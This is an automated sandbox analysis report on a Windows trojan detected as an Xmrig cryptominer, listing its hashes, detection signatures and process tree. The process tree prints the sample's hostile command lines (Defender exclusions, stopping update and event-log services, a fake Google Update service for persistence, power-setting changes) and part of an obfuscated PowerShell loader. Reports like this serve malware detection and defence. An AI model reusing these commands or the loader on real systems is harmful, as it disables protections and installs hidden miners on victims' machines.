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Windows
Analysis Report
egFMhHSlmf.exe
Overview
General Information
Sample name: | egFMhHSlmf.exerenamed because original name is a hash value |
Original sample name: | 1417d38c40d85d1c4eb7fad3444ca069.exe |
Analysis ID: | 1530444 |
MD5: | 1417d38c40d85d1c4eb7fad3444ca069 |
SHA1: | 27d8e2ca9537c80d1c1148830f9a6499f1e3e797 |
SHA256: | 5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d |
Tags: | 64exetrojan |
Infos: | |
Detection
Xmrig
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Suricata IDS alerts for network traffic
Yara detected Xmrig cryptocurrency miner
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Connects to a pastebin service (likely for C&C)
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found strings related to Crypto-Mining
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- egFMhHSlmf.exe (PID: 1764 cmdline:
"C:\Users\ user\Deskt op\egFMhHS lmf.exe" MD5: 1417D38C40D85D1C4EB7FAD3444CA069) - powershell.exe (PID: 7056 cmdline:
C:\Windows \system32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amData) -E xclusionEx tension '. exe' -Forc e MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6036 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5128 cmdline:
C:\Windows \system32\ cmd.exe /c wusa /uni nstall /kb :890830 /q uiet /nore start MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 964 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wusa.exe (PID: 948 cmdline:
wusa /unin stall /kb: 890830 /qu iet /nores tart MD5: FBDA2B8987895780375FE0E6254F6198) - sc.exe (PID: 4568 cmdline:
C:\Windows \system32\ sc.exe sto p UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 1492 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 4876 cmdline:
C:\Windows \system32\ sc.exe sto p WaaSMedi cSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 4856 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 5692 cmdline:
C:\Windows \system32\ sc.exe sto p wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 5712 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 2144 cmdline:
C:\Windows \system32\ sc.exe sto p bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 5492 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7008 cmdline:
C:\Windows \system32\ sc.exe sto p dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 2760 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 2676 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 6428 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 6104 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 5372 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7080 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 3560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 2032 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 1436 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - dialer.exe (PID: 3084 cmdline:
C:\Windows \system32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - sc.exe (PID: 5360 cmdline:
C:\Windows \system32\ sc.exe del ete "Googl eUpdateTas kMachineQC " MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 2248 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 3540 cmdline:
C:\Windows \system32\ sc.exe cre ate "Googl eUpdateTas kMachineQC " binpath= "C:\Progr amData\Goo gle\Chrome \updater.e xe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 5980 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 5704 cmdline:
C:\Windows \system32\ sc.exe sto p eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 884 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 4856 cmdline:
C:\Windows \system32\ sc.exe sta rt "Google UpdateTask MachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 6728 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- powershell.exe (PID: 3768 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:OkULRf yuHQtJ{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$DHHEl PDheRwtsc, [Parameter (Position= 1)][Type]$ RGuqRFFAmI )$xKbDjiii AOv=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+[Char](8 2)+'e'+[Ch ar](102)+' '+[Char](1 08)+''+'e' +''+'c'+'t '+'e'+''+[ Char](100) +''+[Char] (68)+''+[C har](101)+ ''+'l'+''+ [Char](101 )+''+'g'+' '+'a'+'t'+ [Char](101 )+'')),[Re flection.E mit.Assemb lyBuilderA ccess]::Ru n).DefineD ynamicModu le(''+[Cha r](73)+''+ [Char](110 )+''+[Char ](77)+''+[ Char](101) +''+[Char] (109)+'o'+ [Char](114 )+'yMo'+'d '+''+[Char ](117)+''+ [Char](108 )+''+[Char ](101)+'', $False).De fineType(' My'+'D'+'e l'+[Char]( 101)+''+[C har](103)+ 'a'+'t'+'' +'e'+''+[C har](84)+' yp'+[Char] (101)+'',' '+[Char](6 7)+''+[Cha r](108)+'' +'a'+'ss'+ [Char](44) +'Pu'+'b'+ 'l'+[Char] (105)+''+[ Char](99)+ ''+','+''+ [Char](83) +''+'e'+'a '+'l'+''+' e'+'d,'+[C har](65)+' ns'+'i'+'' +[Char](67 )+''+[Char ](108)+'as '+[Char](1 15)+''+[Ch ar](44)+'' +[Char](65 )+''+'u'+' '+[Char](1 16)+''+'o' +''+[Char] (67)+''+[C har](108)+ ''+'a'+''+ 's'+'s',[M ulticastDe legate]);$ xKbDjiiiAO v.DefineCo nstructor( ''+[Char]( 82)+''+[Ch ar](84)+'' +'S'+''+[C har](112)+ ''+[Char]( 101)+'c'+[ Char](105) +''+'a'+'' +[Char](10 8)+''+[Cha r](78)+''+ [Char](97) +''+'m'+'e ,'+'H'+'i' +[Char](10 0)+''+[Cha r](101)+'' +[Char](66 )+'y'+[Cha r](83)+''+ [Char](105 )+'g'+[Cha r](44)+'P' +[Char](11 7)+'b'+'l' +''+[Char] (105)+'c', [Reflectio n.CallingC onventions ]::Standar d,$DHHElPD heRwtsc).S etImplemen tationFlag s(''+[Char ](82)+''+' u'+''+[Cha r](110)+'' +[Char](11 6)+'i'+[Ch ar](109)+' '+[Char](1 01)+''+',' +'Man'+'a' +'g'+[Char ](101)+''+ [Char](100 )+'');$xKb DjiiiAOv.D efineMetho d(''+[Char ](73)+''+[ Char](110) +'v'+'o'+' '+[Char](1 07)+''+[Ch ar](101)+' ',''+[Char ](80)+''+' u'+''+[Cha r](98)+''+ [Char](108 )+'ic'+',' +''+[Char] (72)+''+'i '+''+[Char ](100)+''+ [Char](101 )+''+'B'+' y'+[Char]( 83)+''+'i' +'g'+','+' N'+[Char]( 101)+'w'+' S'+''+[Cha r](108)+'' +[Char](11 1)+'t'+',' +''+'V'+'' +[Char](10 5)+''+[Cha r](114)+'' +'t'+''+[C har](117)+ ''+[Char]( 97)+''+[Ch ar](108)+' ',$RGuqRFF AmI,$DHHEl PDheRwtsc) .SetImplem entationFl ags(''+'R' +''+[Char] (117)+''+' n'+''+[Cha r](116)+'' +[Char](10 5)+''+[Cha r](109)+'' +[Char](10 1)+',Ma'+[ Char](110) +''+'a'+'' +[Char](10 3)+'e'+'d' +'');Write -Output $x KbDjiiiAOv .CreateTyp e();}$HPsm fKkDEZPEO= ([AppDomai n]::Curren tDomain.Ge tAssemblie s()|Where- Object{$_. GlobalAsse mblyCache -And $_.Lo cation.Spl it('\')[-1 ].Equals(' '+[Char](8 3)+'y'+'s' +''+[Char] (116)+''+[ Char](101) +''+[Char] (109)+''+[